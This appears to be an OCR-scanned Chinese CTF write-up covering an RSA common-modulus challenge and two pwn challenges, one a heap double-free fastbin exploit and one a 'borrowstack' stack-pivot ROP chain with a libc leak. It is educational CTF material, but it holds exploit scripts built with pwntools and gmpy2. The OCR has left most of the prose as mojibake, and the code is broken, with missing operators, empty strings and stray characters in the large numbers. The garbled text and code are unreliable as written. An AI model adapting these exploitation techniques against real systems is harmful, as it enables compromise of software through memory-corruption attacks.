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Crypto
1. easy_rsa

TR, AR

n 275609599183856164194862730095945134600443164763378425854635531057018695316983663046376780086027990051816013
1081693539400304193044550980119655489778152996261634944213603995191176462099911691574192424578898833276618230563
5804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930
5049258128332020471831664230432648159058534860532553103460304166874307242041774681767625125660551657981724186222,
6875196879399767639117077321629160775288598793386616315825733652256708622809286330268549388883986655962242968592
5525799985062044536032584132602747754107800116960090941957657

el 464857

e2 190529

cl 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067
2876332955770360421583023749487267493485185630382663738268719509047336910465953879557033058467285309878850759104
9036245320259865432694722439271857389324117512328556900851956874515344934496651363658529077012705527344296268946
2195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767
4185763161709761109911289338866394027712949978110259425444552555890812802445459013946818664212230664224846543012
98662143648389546410087950190562132305368935595374543145047531

c2 920626093506625782912138895366525733046273329278664437432221883558011485986620682467955344440645791910774960
7408755427754234582021543964677068040366956047446236940064186581092233202362069921021147420802080138628506869828
©364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834
2123367818218101150041153244700139990924623104142579903107815340568073932061554603714548362304105451710685060441]
7400117292261480513526067052485213918737033549287609405986057679483970497898850714797210941103337774944682137419
5721696073748745825273557964015532261000826958288349348269664

— M nEA e B, FlrN RSA K, ERIA.
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from libnum import n2s, s2n

from gmpy2 import invert

def egcd(a, b):
if a 0:
return (b, 0, 1)
else:
g, YV, X egcd(b a, a)
return (g, X (b a) Y, Y)

def main():

n 2756095991838561641948627300959451346004431647633784258546355310570186953169836630463767800860279900518160
1310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305
6358047547980184897930668117410269020119808071578826393138929326536204913546303540604625948658746637739346706189
3050492581283320204718316642304326481590585348605325531034603041668743072420417746817676251256605516579817241862
2268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685
925525799985062044536032584132602747754107800116960090941957657

cl = 218233068708410161699524817868624367528948404037021980562833576052139285055933010635828515959789325389060
6728763329557703604215830237494872674934851856303826637382687195090473369104659538795570330584672853098788507591
0490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689
4621952310168991491017642996632844348058173393488687937090841308620286145877045038628054797921840193345676480787
6741857631617097611099112893388663940277129499781102594254445525558908128024454590139468186642122306642248465430
1298662143648389546410087950190562132305368935595374543145047531

c2 920626093506625782912138895366525733046273329278664437432221883558011485986620682467955344440645791910774
9074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698
2803643698899401679999185862982804683010973495995601304619984933421387922640052282095374626740854107406938617828
3421233678182181011500411532447001399909246231041425799031078153405680739320615546037145483623041054517106850604
4174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374
195721696073748745825273557964015532261000826958288349348269664

el 464857

e2 190529

s egcd(el, e2)

sl s[1]

s2 s[2]

if s1 Q:

sl sl

cl invert(cl, n)
elif s2 Q:

s2 s2

c2 = invert(c2, n)

m (c1, s1, n) (c2, s2, n)
print(n2s(m))
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64 AT Canary. NX, REAXFEF, EAGMERIIRE. creat MBI RINBIELE MK, RV size H1~112:

struct Banala{
char *ba;

char *na

JRIAN double free , fr T delete Ei%k, free J5EEIHEIEE:

unsigned __ int64 delete()
{
int vi;

unsigned __int64 v2;

v2 __readfsqword(©x28u) ;
puts( )
puts ( )
puts( )
printf( )
_is0c99_scanf((__int64) , (__int64)&v1);
if (v1 (%] vl 10 ptrvl] )
{

puts(

goodbye();
)i
free(*(void )ptrivl]);
free(*((void )ptr[vl] 1));

free(ptr[vl]);

puts(

puts(

puts(

return _ readfsqword(@x28u)

EEE RS read_flag() , ¥ flag 2 AF bss B, FH (1547) BN 0x60 . &% flag fr FH—AHER fd 2B, 0x60 KIEF
RLFIZHER size fiL.

unsigned _ int64 read_flag()
{

FILE *stream;

unsigned __int64 v2;

v2 = _ readfsqword(@x28u);
setbuf(stdin, OLL);
setbuf(stdout, OLL);
stream = fopen(
if ( !stream )
{

puts(

exit(9);
b
byte 602070 96;
fgets(s, 45, stream);
return _ readfsqword(0x28u) v2;




FIFB#: double free ikF:—ANMEREAL T fastbin X2 ECRES . BEUEMH fd 84, EFSMHER RN, FAREF view B

SEHE exp WIF:

RE—RHAEHEHRRZ0R RENBH T HLE, HIFHMARDLMRE, FrilsiH fastbin 1 # T HIHE, gdb E—TFHEET
T 0x20 , BrLAH 0x20 .

from pwn import

context.log_level

p process(

def creat(ba_len,ba,na_len,na):
p.recvuntil( )

p.sendline(

.recvuntil( )
.sendline( (ba_len))
.recvuntil( )
.sendline(ba)

.recvuntil( )
.sendline( (na_len))
.recvuntil( )
.sendline(na)

def delete(id):
p.recvuntil(
p.sendline(

p.recvuntil(
p.sendline(

def view(id):
p.recvuntil(
p.sendline(

p.recvuntil( )
p.sendline( ))

, 0x50,0x50, 0x50)//#double free chuck
5 0x50,0x50, 0x50)//HAFFEHdouble free chunk
) 0x50,0x50, 0x50) //Bilk EHEPiA~chunk free LHtop chunk&3f

delete(1)//I8F&
delete(@)//double free

creat (x50, p64 (0x06020A8-0x10) *10,0x50, p64 (0x06020A8-0x10)*10)//edit chunkl fd to flag
creat(0x50, " ',0x50, " ")

creat(0x50, " ",0x20, " ")

view(5)

p.interactive()




BH BAERERAZ: 5 double free J5 HIBHERIRE, 2/ fastoin BIBRFREE. BiEmil: B free fastbin &34m 1 4~
0x20 « 24> 0x60 chunk . {HRHR% free 3RJEH 41 0x20 . 6 1~ 0x60 . REEF —RPIEFHNRE=RAFE _RLE—
0x60 . /5 HARHF—JRIFR—K, FRERPIFRRME chunk.

XERTBRA, SAIMEMEREF—T.
borrowstack

64 fLART#

from pwn import

context.log_level
p process(
elf = ELF(

0x601080
0x400703
0x400699
elf.plt]
elf.got|
oxfe2a4

p64 (bank+0x99) p64(leave)

pay 0x90+p64 (bank+0x60)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pay+=p64(0x0400680)
p.sendafter( ,pay)

libc_base=u64(p.recv(6)[:].1just(8, ))-libc.symbols|
info( (libc_base+one_gadget))

pay 0x60+p64 (0xdeadbeef)+p64(one_gadget+libc_base)
p.sendline(pay)

p.interactive()
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